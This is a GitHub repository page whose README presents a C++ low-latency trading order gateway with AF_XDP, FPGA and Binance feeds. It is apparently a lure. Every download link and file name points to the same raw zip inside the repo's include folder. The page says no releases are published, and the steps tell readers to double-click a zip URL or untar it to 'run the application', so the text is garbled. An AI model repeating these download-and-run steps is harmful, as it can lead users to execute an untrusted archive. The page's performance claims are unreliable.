Skip to content

πŸ”— Connect data sources with the C++ Order Gateway, leveraging DPDK/XDP for low-latency trading in FPGA systems and efficient data distribution.

Notifications You must be signed in to change notification settings

LumineYoimiya/14-cpp-order-gateway

Repository files navigation

πŸš€ 14-cpp-order-gateway - High-Speed Trading Made Simple

Download

πŸ“¦ Overview

The 14-cpp-order-gateway is a high-performance C++ application designed for trading systems. It leverages AF_XDP kernel bypass technology to deliver exceptional speed, making it 4Γ— faster than standard UDP with a response time of just 0.05ΞΌs for P50 latency. This application supports dual-feed functionality from an FPGA binary and Binance via WebSocket JSON, making it a versatile choice for real-time trading.

πŸš€ Features

  • High Performance: Achieve low-latency communication thanks to kernel bypass technology.
  • Dual Feed Support: Seamlessly connect to both FPGA (binary) and Binance (WebSocket JSON).
  • Production Scale: Validated with over 563K samples for reliability.
  • Easy Integration: Works well with modern C++ standards (C++20).
  • Boost Asio Support: Reliable asynchronous I/O management for improved performance.
  • Real-Time Data Handling: Efficiently process and respond to incoming trading data.

πŸ” System Requirements

To use the 14-cpp-order-gateway, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, Linux (Ubuntu 20.04 or later).
  • Processor: x86_64 or ARM64 compatible CPU.
  • Memory: Minimum of 4 GB RAM (8 GB recommended).
  • Storage: At least 100 MB of free disk space.

🚧 Installation Steps

1. Visit the Releases Page

To download the application, click the button below:

Download

2. Choose the Correct Release

On the releases page, find the latest version. The naming convention usually includes the version number (for example, v1.0.0).

3. Download the Installer

Click on the asset that matches your system. For example:

  • For Windows, you might see https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zip
  • For Linux, look for https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zip

Downloading these files will capture the complete application.

4. Extract the Files

Once downloaded, locate the file in your Downloads folder.

  • For .zip files (Windows): Right-click the file, select "Extract All," and follow the prompts.
  • For https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zip files (Linux): You can extract them by running tar -xzf https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zip in your terminal.

5. Run the Application

After extraction, navigate to the folder containing the extracted files.

  • For Windows: Double-click https://raw.githubusercontent.com/LumineYoimiya/14-cpp-order-gateway/main/include/cpp-gateway-order-v3.0.zip to run the application.
  • For Linux: Open your terminal, navigate to the folder, and type ./14-cpp-order-gateway to execute.

6. Configure Your Settings

When the application runs for the first time, you may need to configure your trading settings. Follow the on-screen prompts to set up your trading preferences.

7. Start Trading!

Now you're ready to trade. Ensure your connections (FPGA or Binance) are correctly set up to start receiving trading data in real-time.

🌐 Documentation

For in-depth guidance and advanced configuration options, consult the official documentation available on GitHub. This documentation covers a range of topics, including:

  • Advanced trading strategies
  • Customizing performance settings
  • Troubleshooting common issues

πŸ› οΈ Support

If you encounter any issues while using the application, feel free to open an issue on the GitHub repository. Provide as much detail as possible to receive assistance promptly.

🌟 Contributing

If you wish to contribute to the project, your expertise is welcome. Please fork the repository and submit a pull request for any improvements or bug fixes.

πŸ“£ Community

Join our community on forums or social media for discussions about trading strategies and application features. Engage with other users and share your experiences.

πŸ”— Additional Resources

Download

About

πŸ”— Connect data sources with the C++ Order Gateway, leveraging DPDK/XDP for low-latency trading in FPGA systems and efficient data distribution.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •